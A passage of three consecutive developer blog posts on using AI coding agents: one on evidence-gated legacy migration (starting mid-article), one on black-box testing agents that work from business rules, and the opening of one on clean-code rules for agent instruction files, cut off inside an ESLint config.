Canary sends a percentage of real traffic to the new service. Per-request random routing is fine for a stateless calculation; anything with sessions needs sticky routing.
The batch job from Step 1 never passes through this facade. It needs its own switch, or it keeps using the old calculator after the migration is "done".

Step 4: shift traffic in stages

The rollout agent prepares a plan, not a deployment. A typical sequence: shadow for a week of real traffic, then canary at 1%, 10%, 50% and 100%. Every stage has the same exit criteria, and the rollback is a single config change back to legacy that anyone on call can apply without an agent.

Step 5: done means no caller is left

100% of the endpoint's traffic on the new service is not the end of the migration. The batch job from Step 1 still calls the old calculator, and it won't show up in any facade metric. The capability is migrated when nothing depends on the old implementation anymore: no consumer, no job, no integration.

The completion check, before anyone deletes the legacy code path:

Every entry point in the capability map is switched: the endpoint through the facade, the batch job through its own change.
The legacy route receives zero requests over a full business cycle, long enough to include month-end and other periodic jobs.
Runtime evidence agrees with the map: logs or tracing show no calls into the old ShippingCalculator from anywhere.
Integrations outside the codebase are accounted for: reports, partner exports, database jobs that read the same tables.

The discovery agent can produce that list of callers again, against the current code and logs. A human signs off on deleting the old code path, because this is the one step with no cheap rollback.

Verification is the gate, not AI confidence

The gate between stages is a function of evidence. Here is the one I'd start with; the thresholds are illustrative starting points, so tune them to your traffic and risk.

interface ShadowMismatches {
  unclassified: number;      // nobody has looked at them yet
  critical: number;          // a real behavior difference
  outsideTolerance: number;  // non-critical, but not covered by an approved tolerance
}

interface MigrationEvidence {
  characterizationPassRate: number; // new service, 0..1
  contractTestsPassed: boolean;
  shadowRequests: number;
  mismatches: ShadowMismatches;
  p95LatencyRatio: number;          // new / legacy
  rollbackRehearsed: boolean;
  approvals: string[];
}

const MIN_SHADOW_REQUESTS = 50_000;
const MAX_P95_LATENCY_RATIO = 1.1;
const REQUIRED_APPROVALS = ["capability-owner", "on-call-engineer"];

export function evaluateStageGate(evidence: MigrationEvidence): { promote: boolean; reasons: string[] } {
  if (!hasValidEvidence(evidence)) return { promote: false, reasons: ["missing or invalid evidence"] };
  const reasons: string[] = [];
  const { unclassified, critical, outsideTolerance } = evidence.mismatches;
  if (evidence.characterizationPassRate < 1) reasons.push("characterization suite is not fully green");
  if (!evidence.contractTestsPassed) reasons.push("contract tests failed");
  if (evidence.shadowRequests < MIN_SHADOW_REQUESTS) reasons.push("not enough shadow traffic yet");
  if (unclassified > 0) reasons.push(`${unclassified} shadow mismatches not classified`);
  if (critical > 0) reasons.push(`${critical} critical shadow mismatches`);
  if (outsideTolerance > 0) reasons.push(`${outsideTolerance} differences outside approved tolerances`);
  if (evidence.p95LatencyRatio > MAX_P95_LATENCY_RATIO) reasons.push("p95 latency regressed");
  if (!evidence.rollbackRehearsed) reasons.push("rollback not rehearsed");
  const missing = REQUIRED_APPROVALS.filter((role) => !evidence.approvals.includes(role));
  if (missing.length > 0) reasons.push(`missing approvals: ${missing.join(", ")}`);
  return { promote: reasons.length === 0, reasons };
}

// Evidence arrives from metrics pipelines at runtime, so the types alone don't protect the gate
function hasValidEvidence(evidence: MigrationEvidence): boolean {
  const mismatches = evidence.mismatches;
  const counts = [evidence.shadowRequests, mismatches?.unclassified, mismatches?.critical, mismatches?.outsideTolerance];
  return counts.every(isCount)
    && isRatio(evidence.characterizationPassRate)
    && isPositiveNumber(evidence.p95LatencyRatio)
    && typeof evidence.contractTestsPassed === "boolean"
    && typeof evidence.rollbackRehearsed === "boolean"
    && Array.isArray(evidence.approvals);
}

const isCount = (value: unknown) => Number.isSafeInteger(value) && (value as number) >= 0;
const isRatio = (value: unknown) => typeof value === "number" && value >= 0 && value <= 1;
const isPositiveNumber = (value: unknown) => Number.isFinite(value) && (value as number) > 0;

Look at what is missing from MigrationEvidence: anything the agent says about itself. No confidence score, no "I verified the edge cases", no summary of its own work. Every field comes from a test run, a traffic comparison, a latency metric or a named human.

The first line of the gate matters as much as the rest. Missing evidence blocks promotion; it never counts as a pass. A broken metrics query returns NaN or nothing at all, and NaN > 1.1 is false in JavaScript, so a naive latency check would quietly let the stage through. The gate fails closed instead.

The acceptance criteria, in plain terms:

Gate	Accept when	Reject when
Characterization	100% green on legacy and on the new service	Any case fails on either side
Contract	Consumer contract tests pass; contract approved by its owner	Any consumer-visible change without approval
Shadow traffic	Enough real requests; zero unclassified or critical mismatches	Any critical mismatch, or a difference outside the approved tolerances
Performance	p95 latency within the agreed ratio	Regression, or no baseline to compare with
Rollback	Rehearsed, one config change, no agent needed	Rollback needs a data fix or a redeploy
Human sign-off	Capability owner and on-call engineer approved	Approval "by default" or by the agent
Completion	No consumer, job or integration still calls the old implementation	Any caller left, or no runtime evidence either way

The mismatch policy is deliberately strict: zero critical mismatches, and no percentage of "acceptable" unexplained ones. What makes this workable is that tolerances are decided before the shadow run, not after. The capability owner approves a short list up front, for example "ignore the generatedAt timestamp" or "the new service rounds half-up, approved as a fix". classifyDifference applies that list automatically. Anything it can't match stays unclassified until a human looks at it, and an agent may propose a classification, but a person confirms it, because that's where business meaning lives.

What should never be fully autonomous?

In Dark Factory terms, most of this pipeline is a light factory: agents do the work, and humans sit at the points where a wrong decision is expensive or irreversible. Here is where I'd draw the line.

Action	The agent may	A human must
Production data changes (backfills, schema, deletes)	Write the scripts and dry-run them against a copy	Approve, run, and own the backup and restore plan
Critical or public contracts	Propose the diff and generate contract tests	Approve every consumer-visible change
Architectural decisions (service boundaries, data ownership, sync strategy)	Draft options and trade-offs as an ADR	Decide
Deployments and traffic shifts	Prepare the config change and compute the gate evidence	Promote any stage beyond shadow
Bug-compatibility	Flag suspicious behavior with evidence	Decide whether to keep it, and when to fix it
Decommissioning legacy code	List the remaining callers	Turn it off

The common thread is reversibility. Running a characterization suite twice costs nothing. Deleting a legacy table, changing a contract that partners depend on, or picking the wrong service boundary can cost months. Agents can prepare irreversible changes; they shouldn't execute them.

Measuring success

"The agents saved us time" is not a metric. If you want to know whether this pipeline helps, measure the agents and the migration separately.

What	How to measure it	Why it matters
Discovery precision	Sample claims from each capability map; share confirmed by an engineer	Tells you how much to trust the next map
Discovery misses	Mismatches or incidents traced to behavior the map didn't list	The batch-job problem, counted
Effort	Lead time per capability (map to 100% traffic) and human review hours	Review is part of the cost; Google counted it in its estimate
Migration quality	Unexplained mismatch rate, rollbacks, incidents per capability	Speed without this is just faster risk
Operational cost	Tokens, plus running two systems and the facade	Transitional architecture isn't free
Progress	Share of traffic served by new services; legacy code deleted	The goal is decommissioning, not coexistence

The last row is the one teams forget. A Strangler Fig migration that never turns off the legacy system is a permanent double running cost.

Trade-offs: when this approach is the wrong choice

Small systems. If replacing the whole thing is simple, the facade and the pipeline are overhead. Azure's guidance says the same about the pattern itself.
Requests you can't intercept. No facade, no strangler. The same goes for logic that only runs inside the database or in jobs you can't redirect.
Capabilities with heavy side effects. Shadowing payments or emails needs a sandbox or intent comparison. That work is real; budget for it before choosing such a capability as an early slice.
No observability. Without request samples, latency baselines and mismatch metrics, the gate has nothing to evaluate.
A team that can't review the output. Agents can generate maps, tests and pull requests faster than people can check them. Throttle generation to review capacity, as Google did, rather than lowering the bar.

FAQ

Can't the agent just translate the legacy code into a new language?
It can produce a translation, but a translation reproduces structure, including the parts you wanted to leave behind. The Thoughtworks article notes that translated code still needs lengthy testing. Characterizing behavior first and implementing against it gives you the tests you need anyway.

Do I still need static analysis if I have agents?
Yes. Call graphs, dependency analyzers and dead-code tools are deterministic and cheap. Use them to check what the agent claims. Thoughtworks saw little GenAI value for dead-code detection, because existing tools already do it well.

Is this a dark factory for migrations?
Partly. Discovery and test generation can run with little supervision because their outputs are checked before anything depends on them. Contracts, data and traffic decisions stay lit.

Which capability should I migrate first?
One that is read-only, well bounded and valuable enough to matter. A calculation or a query is a better first slice than anything that writes money or sends messages.

Takeaway

The Strangler Fig pattern is the strategy; agents speed up the steps. Incremental migration and coexistence don't change.
Make every agent produce a verifiable artifact, with evidence for each claim, and stop the chain when a check fails.
Characterize the legacy system before you replace it. The suite must pass 100% against the old code first.
Keep the doer away from the checks. The implementation agent reads the tests; it can't edit them.
Gate on evidence, never on model confidence: tests, shadow mismatches, latency, rollback and named human approvals.
A capability is migrated when no caller is left, not when the endpoint hits 100% on the new service.
Agents prepare irreversible changes; humans execute them.

Which part of your legacy system would you trust an agent to map first, and which part would you never let it touch? Tell me in the comments.

I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at @diogosoares.dev, where this migration pipeline becomes a swipeable carousel you can save for your next modernization planning. This article also gets a video walkthrough on my YouTube channel, Diogo Soares Dev, so subscribe there for the next ones. Let's also connect on LinkedIn, or check out diogosoares.dev.

Black-Box Testing with AI Agents: Test the Rules, Not the Code

Diogo Soares — Mon, 26 Oct 2026 07:58:58 +0000

One of the most useful test reports I've seen an AI produce came from agents that never saw a single line of the application's code.

At a company I worked at, we tried a simple experiment. We gave the models the business rules of a system that was already built, and nothing else. No repository, no architecture docs, no database schema. The models wrote the tests from the rules, then ran those tests against the running application. At the end we got a list of every place where the application did not do what the business said it should.

That list was more useful than any green test suite, because every line in it was a rule the system broke. And the reason it worked is not that the models were especially clever. It's that they didn't know how the system was implemented, so they couldn't bend their tests around it.

This is black-box testing with AI agents: the agent tests the behavior against the specification, from the outside, the way a customer or an auditor would. This post covers:

Why agents that can read the code write weaker tests than you think.
How to set up a black-box pipeline: rules in, test cases, execution, findings report.
The prompts, file layout and report format I'd use, plus when this approach is the wrong tool.

The problem: tests that confirm the code instead of the requirement

Ask a coding agent to "write tests for RefundService" and it will read RefundService, see what it does, and write tests that check it does exactly that. If the code has an off-by-one in the refund window, the agent sees daysSinceDelivery < 30, and the generated test asserts that day 30 is rejected. Green suite. Wrong behavior. Now locked in by a test.

Testers have a name for the source of "expected": the test oracle, whatever you use to decide whether an observed result is correct. This isn't a model failure. It's what any tester does when the code is the only spec they have: the implementation becomes the oracle, so the tests can only ever confirm it.

It gets worse when the same agent wrote the code and the tests. Both come from the same understanding of the problem, so any misunderstanding shows up twice and cancels out. I covered a version of this in the context of dark factories: a check is only worth something when the thing being checked can't shape it.

	Oracle derived from the code	Oracle derived from the rules
Source of "expected"	What the code currently does	What the business rule says
Off-by-one in a rule	Encoded as correct	Flagged as a failure
Missing rule in the code	Easy to miss (no code to suggest a test)	Found: the rule exists, the behavior doesn't
Ambiguous rule	Silently resolved by the implementation	Surfaced as an open question
Refactoring the code	Tests often break	Tests survive, behavior is the contract

That third row is the one people miss. If nobody implemented "only the order owner can request a refund", there's no code that suggests the test. A black-box agent reads the rule and tries it.

To be fair to white-box testing: an agent with the code and an independent list of requirements could catch this too. Code access isn't the defect. When an agent derives its expectations from the implementation, it reproduces the misunderstandings already in the code. In my view, keeping the code away from the testing agent is the simplest way to stop that from happening.

What black-box testing means (and what agents add to it)

Black-box testing is old. The ISTQB calls it specification-based testing: you derive test cases from the requirements and the observable behavior, without looking at the internal structure. The classic techniques are still the right ones (chapter 4 of the ISTQB Foundation Level syllabus, free to download):

Equivalence partitioning: group inputs that should behave the same and test one from each group.
Boundary value analysis: test at and right next to each limit (29, 30 and 31 days for a 30-day window).
Decision tables: list every combination of conditions in a rule that has several of them.
State transition testing: for anything with a lifecycle, test valid and invalid transitions.

The techniques were never the hard part. The hard part was the labor: turning fifty business rules into a few hundred precise cases is slow, boring work, and people skip the boring edges. That's exactly where LLMs are useful. They're good at reading a rule in plain language and systematically expanding it into partitions, boundaries and combinations, and they don't get bored at case 140.

What the agent must not do is invent the expected result. The value of the whole approach depends on expectations coming from the rules, so the pipeline has to make that a hard boundary, not a polite request.

The pipeline: rules in, findings out

This is the setup I'd build today. After a one-time setup (step 0, isolation), it has four steps: write the rules, design the cases, generate the tests, then run and triage. Three agents do the work, and humans review at two checkpoints.

business rules ──▶ [1. test designer] ──▶ test cases + open questions
                                                │
                                         human review
                                                │
                     [2. test generator] ◀──────┘
                              │
                     executable tests ──▶ run against staging (public interfaces only)
                                                │
                     [3. triage] ◀──────────────┘
                              │
                     findings report ──▶ human decides: bug, rule gap or bad test

Step 0 (setup): isolate the agents from the code

The simplest way to stop an agent from reading the code is to make sure the code isn't there. I wouldn't rely on instructions ("don't open src/") or on a deny list that may not cover every tool. Give the testing agents their own workspace:

qa-workspace/               # everything the testing agents can see
├── rules/refunds.md        # business rules, each with an ID
├── contracts/openapi.yaml  # the public API contract clients already get
├── cases/                  # generated test cases (Markdown)
├── tests/                  # generated Playwright tests
└── .env.test               # BASE_URL + test-only credentials (gitignored)
# The application repository is not cloned here.

The agents talk to the system only through what a real client would use: the public API and the UI of a staging environment. If the agent can't reach it from outside, it isn't part of the test.

Isolation is necessary, but it doesn't make the oracle independent on its own. That depends on where the expectations come from. If someone writes the rules by watching what the current system does, or "fixes" a failing expectation to match what the system returned, the oracle depends on the implementation again, just one step removed. Expectations come from rules that the business has reviewed, and a failing test changes only when the rule changes.

Step 1: write the rules so they can be tested

Garbage in, garbage out applies hard here. The rules don't need a formal language, but each one needs an ID and a single, checkable statement. Here's a hypothetical refund policy for an online store, which I'll use for the rest of the post:

# Refund rules

- BR-01: A customer can request a refund up to 30 days after delivery.
- BR-02: Refunds above 500.00 EUR require manager approval before payout.
- BR-03: Digital items cannot be refunded after they have been downloaded.
- BR-04: The total refunded for an order can never exceed the amount paid.
- BR-05: Only the customer who placed the order can request its refund.

Notice that these are written the way a product owner would write them, not the way a developer would. That's the point. If your rules only exist in people's heads or in Jira comments, collecting them into a file like this is the first deliverable, and often a valuable one on its own.

Step 2: the test designer agent

The first agent turns rules into cases. The prompt does two jobs: it tells the model which techniques to apply, and it forbids guessing.

You are a QA analyst. You have not seen the application's code and you
must not ask for it.

Input: the business rules below, each with an ID.

For every rule:
1. Derive test cases using equivalence partitioning, boundary values,
   decision tables (for combined conditions) and state transitions
   (for lifecycles). Include invalid and unauthorized cases.
2. Write each case as: case ID, rule ID(s), technique, preconditions,
   Given/When/Then, expected result.
3. Expected results must come only from the rules. If a rule does not
   say what should happen, do not guess: add the case to an
   "Open questions" list instead.

Output: a Markdown table of cases, then the open questions.

For BR-01 and BR-02, a good output looks something like this (trimmed):

Case	Rule	Technique	Given / When	Expected
TC-01	BR-01	Boundary	Delivered 29 days ago, refund requested	Accepted
TC-02	BR-01	Boundary	Delivered 30 days ago, refund requested	Accepted
TC-03	BR-01	Boundary	Delivered 31 days ago, refund requested	Rejected
TC-04	BR-02	Boundary	Refund of 500.01 EUR	No payout until a manager approves
TC-05	BR-02	Boundary	Refund of 500.00 EUR	No manager approval required
TC-06	BR-05	Partition	User B requests refund on user A's order	Rejected

And the open questions list:

Q1 (BR-01): Is "30 days" counted in calendar days, and in which time zone?
Q2 (BR-03): Does a partial download count as "downloaded"?
Q3 (BR-02 + BR-04): Do two refunds of 300 EUR on the same order need approval?
Q4 (BR-02): At 500.00 EUR or less, is the payout immediate or still queued?

The open questions are a deliverable, not noise. Every one of them is a place where two developers could have implemented different behavior and both claimed they followed the spec. A product owner answers them in minutes, and the answers go back into the rules file.

This is the first human checkpoint: someone who knows the business skims the cases and answers the questions before anything runs. It's a much cheaper review than reading test code.

Step 3: generate executable tests, not live improvisation

You could let an agent click through the app and decide on the fly whether things look right. I wouldn't. A run you can't repeat is a run you can't trust, and you want to re-run the same suite after every fix.

So the second agent turns approved cases into ordinary test code, here with Playwright, which covers both API and UI tests:

import { test, expect } from "@playwright/test";
import { createDeliveredOrder, loginAs } from "./fixtures";

// TC-02 / BR-01: day 30 after delivery is still inside the refund window
test("TC-02 BR-01: refund accepted on day 30 after delivery", async ({ request }) => {
  const customer = await loginAs(request, "customer-a");
  const order = await createDeliveredOrder(request, customer, { deliveredDaysAgo: 30 });

  const response = await request.post(`/api/orders/${order.id}/refunds`, {
    headers: customer.headers,
    data: { amount: order.total },
  });

  // BR-01 says "accepted"; 201 is how the API contract says "accepted"
  expect(response.status()).toBe(201);
});

This snippet is illustrative: loginAs and createDeliveredOrder are fixtures you have to provide, and baseURL comes from the Playwright config. The test name carries the case and rule IDs, which is what makes the final report traceable back to the business.

Notice where the 201 comes from. The business rule only says the refund is accepted; it says nothing about HTTP. The status code comes from the public API contract in the workspace, which is still a black-box source: it's what any client integrating with the API reads. So the generator gets two inputs, the approved cases (the behavior) and the contract (how that behavior shows up on the wire), and neither one is the implementation. If the contract doesn't say how "accepted" looks, that's another open question, not a guess.

If you test through the UI, Playwright's own test agents (planner, generator and healer, set up with npx playwright init-agents --loop=claude, or the loop for your tool) can do much of this step. The planner can take a product requirements document as context, which fits this approach well. Review what the healer changes, though: in a black-box setup, a test that fails because the app is wrong must stay failing.

Step 4: run, triage and report

Run the suite against staging. Then a third agent, or the same one in a fresh session, turns the raw results into the report people actually read. For each failure it records the rule, the case, what was expected, what happened, and the evidence (response body, screenshot or trace).

The agent also proposes a verdict, because not every red test is a bug:

Bug: the system contradicts a clear rule.
Rule gap: the rule doesn't say, and the system picked a behavior. Goes to the product owner.
Bad test: the agent misread the rule or the test setup is wrong. Goes back to step 2.

The proposed verdict is a starting point; the second human checkpoint is someone confirming it before anything becomes a ticket.

A worked example: what the findings report looks like

Here's what a report for the refund rules could look like. This is a hypothetical run, built to show the format and the kinds of issues the approach catches:

## Findings: refund rules, staging

| # | Rule  | Case                                         | Expected        | Actual                       | Verdict        |
|---|-------|----------------------------------------------|-----------------|------------------------------|----------------|
| 1 | BR-01 | Refund on day 30 after delivery              | Accepted        | 422 "refund window expired"  | Bug            |
| 2 | BR-04 | Two partial refunds totalling 110% of order  | Second rejected | Both accepted                | Bug            |
| 3 | BR-05 | User B refunds user A's order                | Rejected        | 201 Created                  | Bug (security) |
| 4 | BR-02 | Two refunds of 300 EUR on one order          | Unclear (Q3)    | Paid without approval        | Rule gap       |

Look at what each line represents. Finding 1 is the off-by-one a white-box agent would have locked in. Finding 2 only shows up when you combine two rules, which is exactly what decision tables are for. Finding 3 is a broken access control bug: an ownership rule written in business language turned into a security test without anyone asking for a "security test". Finding 4 isn't a bug at all, it's a business decision nobody made.

This is the kind of output I saw at that company, and it's why the approach stuck. Developers argue with test code. It's much harder to argue with "the rule says X, the system did Y, here's the response". The report speaks the language of the people who own the rules, so it gets acted on.

Trade-offs: when black-box agents are the wrong tool

This approach complements your existing tests. It doesn't replace them.

	Black-box agents	White-box agent tests	Human exploratory QA
Finds missing behavior	Yes	No	Sometimes
Finds edge cases in internal logic	Only if observable	Yes	Rarely
Speed of feedback	Minutes to hours (needs a deployed env)	Seconds	Days
Setup cost	Rules file, staging env, test data fixtures	Low	People's time
Best at	"Does the system do what the business asked?"	"Does this function do what it should?"	"Does this feel right to a user?"

Skip it, or don't expect much from it, when:

The rules aren't written down. If the spec is the code, the agent has nothing independent to test against. Writing the rules comes first.
You can't set up state from the outside. Black-box tests need a way to create "an order delivered 30 days ago" through an API, a seed endpoint or fixtures. Without that, most boundary cases are untestable.
The behavior isn't observable. Caching, retries, internal queues: if the effect doesn't show up in an API response, a UI or an email, a black-box test can't see it. Those belong in unit and integration tests.
The question is about UX, performance or load. Those need other tools and, for UX, people.

Two costs are easy to underestimate. First, false failures: the agent will sometimes misread a rule, and every bad test costs someone time to triage. The open-questions step and the human review of cases are what keep that rate down. Second, a stable environment: a flaky staging environment turns every run into noise, and noise is how teams stop reading the report.

FAQ

Isn't this just BDD with extra steps?
It shares the idea that behavior is the contract, and Given/When/Then is a fine format for the cases. The difference is who writes the scenarios and who can see what. In BDD the team writing the code usually writes the scenarios too. Here, the agent writing the tests never sees the code.

Can the same model write the code and the black-box tests?
The same model, yes. The same session or context, no. What matters is that the test designer's input is the rules and nothing derived from the implementation. A fresh session in a separate workspace with no repository is enough.

Doesn't the agent need the code to find UI selectors?
No. Playwright locators work best with roles and visible labels (getByRole, getByLabel), which come from what the user sees, not from the source. If a button can't be found by its role and name, that's often an accessibility finding in itself.

How is this related to holdout scenarios?
It's the same principle. StrongDM's team, as described by Simon Willison, keeps end-to-end scenarios outside the codebase so coding agents can't see them. Black-box testing from rules is a way to build that holdout set without hand-writing every scenario.

What about secrets and test credentials?
Use test-only accounts on a staging environment, keep them in a gitignored env file, and never point the agents at production. The agents only need what a regular customer would have.

Takeaway

An oracle derived from the code confirms bugs instead of finding them. Expectations must come from somewhere the implementation can't shape.
Give the testing agent the rules and the public contract, nothing from the implementation. Physical isolation (no repository in its workspace) beats instructions, but reviewed rules are what make the oracle independent.
Make expected results come only from the rules. Anything the rules don't cover becomes an open question, not a guess.
Generate repeatable test code with rule IDs in the test names, so every failure traces back to a business rule.
Deliver a findings report, not a test log. "Rule X, expected Y, got Z" is what gets bugs fixed.
Keep humans at two points: approving the cases and confirming the verdicts.

Generating more tests was never the hard part. What AI agents make cheap is an independent check of whether the software keeps the promises the business made, written in the business's own words.

Have you tried letting agents test a system without showing them the code? I'd like to hear what the first findings report surprised you with, or why you decided against it.

I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at @diogosoares.dev, where every article becomes a visual carousel you can save, like the 4-step version of this pipeline. This article also has a video walkthrough on my YouTube channel, Diogo Soares Dev, so subscribe there for the next ones. Let's also connect on LinkedIn, or check out diogosoares.dev.

Your AI Knows SOLID and Clean Code. Does It Actually Use Them?

Diogo Soares — Thu, 22 Oct 2026 08:22:15 +0000

Ask any modern model to explain the Strategy pattern and you get a textbook answer: the intent, a UML sketch, a TypeScript example and a note on when not to use it.

Then, in the same session, ask it for a feature:

Add a 10% discount for VIP customers at checkout.

And a very typical result looks like this:

export async function checkout(cartId: string, userId: string) {
  const cart = await db.cart.findUnique({ where: { id: cartId } });
  const user = await db.user.findUnique({ where: { id: userId } });
  let total = cart.items.reduce((sum, i) => sum + i.price * i.qty, 0);
  if (user.type === "vip") {
    total = total * 0.9;
  } else if (user.type === "employee") {
    total = total * 0.8;
  }
  // ... 150 more lines: payment, email, stock
}

It works. The tests pass. And it ignores almost everything the same model just explained so well: the function grew a new reason to change, a magic number appeared, the domain rule lives next to database calls and the next discount means another else if.

Knowing a principle and applying it by default are two different skills, and AI coding agents only get the first one for free. This post covers why that happens, which clean code rules for AI coding agents actually change the output, and where to write them (CLAUDE.md, AGENTS.md, path-scoped rules, linters and hooks) so the agent applies them more consistently across tasks, including the ones where you forget to ask.

Why the agent skips what it knows

The model is not ignorant. In my experience, it simply follows the strongest signals in its context. This is what I observe in practice, not a description of how the model works internally:

What the agent sees	What it tends to produce
Your request ("add a discount")	The smallest change that satisfies it
The surrounding code	Matching its style, even if the style is a 300-line function
Passing tests	"Done" means green, not "easy to change"
No stated standards	Generic conventions that may not match your project

Nobody asked for SOLID, so SOLID is optional. The same thing happens with security: an agent asked for "an app with login" will often store a JWT in localStorage, even though it can explain perfectly why that is a bad idea.

There is also the opposite failure. Write "follow SOLID and use design patterns" and some agents swing to ceremony: an IDiscountService with one implementation, a factory that builds one object, five files for a feature that needed twenty lines. That code is just as hard for a human to maintain, only in a different way.

So the problem is not "the AI doesn't know clean code". The problem is that vague principles produce either nothing or too much.

Who is this code really for?

Let's be honest about the premise. In most teams that use agents heavily, a human will rarely implement the next feature alone. The model that wrote the code, or its successor, will be in the loop.

I still think maintainability for humans matters, for four reasons:

The 3 a.m. incident. When production breaks, someone has to read the code fast and trust what they read. That person may not have an agent session open, or the agent may be confidently wrong.
Review. Every pull request an agent opens should be reviewed by a person. Code that takes an hour to understand gets approved without being understood.
Tools change. Models get deprecated, teams switch tools, budgets get cut. Code that only one model can navigate is a form of vendor lock-in.
The next session is a stranger too. Every agent session starts with a fresh context window, without the conversation that produced the code. Instruction files and memory features carry some knowledge across sessions (docs), but the reasons behind a design rarely make it there. Most of what the next session knows comes from reading the code.

That last one is the point I find most underrated. In my experience, code that a new human can understand quickly is also code that the next agent session understands quickly, usually with fewer files to open and fewer wrong guesses. Clean code stopped being only a courtesy to colleagues. It is now also part of the agent's context.

Turn principles into rules the agent can check

The Claude Code docs say it plainly: instruction files are treated "as context, not enforced configuration", and the more specific and concise the instructions, the more consistently they are followed (docs). Their examples are telling: "Use 2-space indentation" instead of "Format code properly".

The same applies to design. "Follow SOLID" is a vibe. "Inject dependencies through the constructor; never instantiate a repository inside a use case" is a rule you can verify in a diff.

A note before the table: these are my own, opinionated rules for object-oriented projects with a rich domain. Several (one class per use case, at most 3 parameters, no else) come from Object Calisthenics and preference, not from SOLID. What matters is the shape of each rule: concrete enough to check. Swap the content for your team's standards.

Vague instruction	Rule the agent (and a reviewer) can check
Follow SRP	Each class or module has one reason to change. A use case does one thing, one class per use case.
Write clean code	Functions do one thing, take at most 3 parameters, no magic numbers or strings: use named constants or enums.
Use good architecture	The domain does not import frameworks, ORM, HTTP or database code. Dependencies point inwards.
Use design patterns	Use a pattern only for a concrete problem, say which problem, and name the pattern in the class name or a short comment.
Keep it readable	One level of indentation per method. No `else`: use guard clauses.
Don't over-engineer	Apply the rules pragmatically. If a rule hurts readability or fights the framework's idiom, choose clarity and mention the trade-off.

The last row matters as much as the others. Without an explicit escape hatch, a strict rule set produces the ceremony problem from the previous section.

What my global file looks like

This is a trimmed and translated version of the global ~/.claude/CLAUDE.md I use on every project:

# Mandatory engineering standards

These rules apply to all code I write, in any project.
In existing projects, respect the architecture and conventions already in
place. Apply these rules to new code and refactors; don't rewrite what
wasn't asked.

## Clean Code
- Intention-revealing names; no obscure abbreviations.
- Small functions that do one thing, ideally ≤ 3 parameters.
- Comments explain "why", not "what". No dead code.
- No magic numbers or strings: named constants or enums.

## SOLID and Object Calisthenics
- Depend on abstractions; inject dependencies through the constructor.
- One level of indentation per method. No `else`: use guard clauses.
- Wrap primitives with domain meaning in Value Objects.
- Tell, don't ask: no indiscriminate getters and setters.

Apply with pragmatism: if a rule clearly hurts readability or conflicts
with the language/framework idiom, prioritize clarity and mention the
trade-off.

## Clean Architecture
- Layers: Domain, Application (use cases, ports), Infrastructure, Presentation.
- Dependencies point inwards: the domain depends on no other layer;
  application depends on the domain; infrastructure and presentation
  depend on the application's ports and the domain.
- The domain knows nothing about frameworks, ORM, HTTP or databases.
- Repositories and gateways are interfaces in the application layer,
  implemented in infrastructure.

## Design patterns
- Use them when they solve a real problem, never as decoration.
- When you apply one, name it (class name or a short comment).

## Tests
- Domain and use cases have unit tests. AAA structure, descriptive names.

## Scope
- For tiny one-off scripts, apply Clean Code but don't force layers;
  say when you are simplifying for that reason.

Three details in this file do most of the work:

"Respect the existing conventions." Without it, an agent dropped into a legacy codebase will happily start rewriting modules into hexagonal architecture in the middle of a bug fix.
"Name the pattern." It makes the design visible and reviewable: a human reading PercentageDiscountStrategy knows what to look for. Naming a pattern doesn't prove it was needed, though, so the rule next to it does the real work: use one only for a concrete problem, and say which.
"Mention the trade-off." When the agent bends a rule, it has to say so. That turns silent decisions into something you can review.

Where to write the rules

Not every rule belongs in the same file. I think about it in layers, from the broadest scope to the most specific, plus one layer that is not an instruction at all.

Layer	Claude Code	What goes there
Personal, all projects	`~/.claude/CLAUDE.md` and `~/.claude/rules/`	Your engineering standards: the file above.
Organization	Managed `CLAUDE.md` (deployed by IT)	Company-wide coding and security policies.
Project, shared with the team	`./CLAUDE.md` or `AGENTS.md`	This project's architecture: layers, folders, commands, conventions.
Part of the codebase	`.claude/rules/*.md` with `paths:`	Rules for `src/domain/**` that don't matter for scripts or UI.
Enforcement	Linters, dependency rules, hooks, CI	Anything that must never be violated.

A few facts from the docs that change how you organize this (source):

Files stack, they don't override. All discovered CLAUDE.md files are concatenated, broadest first. Contradictions between them are a real problem: Claude "may pick one arbitrarily".
Size matters. The recommendation is to stay under about 200 lines per file. @path imports help organization but not context cost, since imported files load at launch too.
Path-scoped rules load only when needed. A rule with paths: ["src/domain/**/*.ts"] enters the context only when the agent touches a matching file, so your domain rules don't crowd out everything else.
AGENTS.md works too. Recent Claude Code versions read AGENTS.md when there is no project CLAUDE.md, and a CLAUDE.md can simply import it with @AGENTS.md.

A path-scoped rule for the domain layer looks like this:

---
paths:
  - "src/domain/**/*.ts"
---

# Domain layer rules

- No imports from `src/infrastructure`, Prisma, Express or any HTTP client.
- Money is a `Money` value object, never a raw `number`.
- Pricing rules (discounts, fees, taxes) are pure and testable in
  isolation: no I/O, no framework code.
- Start with a function. Introduce Strategy only when variations change
  independently, and explain why in the PR description.
- Refactors preserve behavior: order, precedence and stacking of rules
  don't change unless the task asks for it.
- Every new rule gets a unit test in `src/domain/**/__tests__`.

If your team uses more than one tool

The same ideas exist in every serious agent, with different file names:

Tool	Always-on rules	Scoped rules
Claude Code	`CLAUDE.md` (or `AGENTS.md`)	`.claude/rules/*.md` with `paths`
Cursor	`AGENTS.md` or `.mdc` rules with `alwaysApply: true`	`.cursor/rules/*.mdc` with `globs`
GitHub Copilot	`.github/copilot-instructions.md` or `AGENTS.md`	`.github/instructions/*.instructions.md` with `applyTo`
Codex and others	`AGENTS.md`	Nested `AGENTS.md` per directory

My rule of thumb: keep the project-level standards in one AGENTS.md and import or link it from the tool-specific files. Two copies of the same rules will drift apart within a month.

The other half of "where" is the why. Rules tell the agent how to write code; they don't explain why your system is shaped the way it is. That belongs in ADRs the agent reads before changing a decision, and for each feature, in a spec you review before the agent writes code.

Rules are context. Linters are law.

Instructions raise the probability of good code. They don't guarantee it. A long session, a large diff or a conflicting instruction is enough for a rule to be skipped. So every rule that can be checked by a machine should be.

"Law" needs a qualifier, though: a linter only enforces anything if it runs and a failure blocks the merge. A check that runs only on someone's laptop is just another suggestion. The guarantee comes from CI refusing to integrate code that fails.

Some Clean Code and Object Calisthenics rules have a reasonable approximation in core ESLint. For TypeScript, add them to a config that already sets up the parser, for example with typescript-eslint:

// eslint.config.js
import tseslint from "typescript-eslint";

export default [
  ...tseslint.configs.recommended,
  {
    files: ["src/**/*.ts"],
    rules: {
      "max-depth": ["error", 2],            // a loose proxy for "one level of indentation"
      "no-else-return": "error",            // flags else after return, not every else
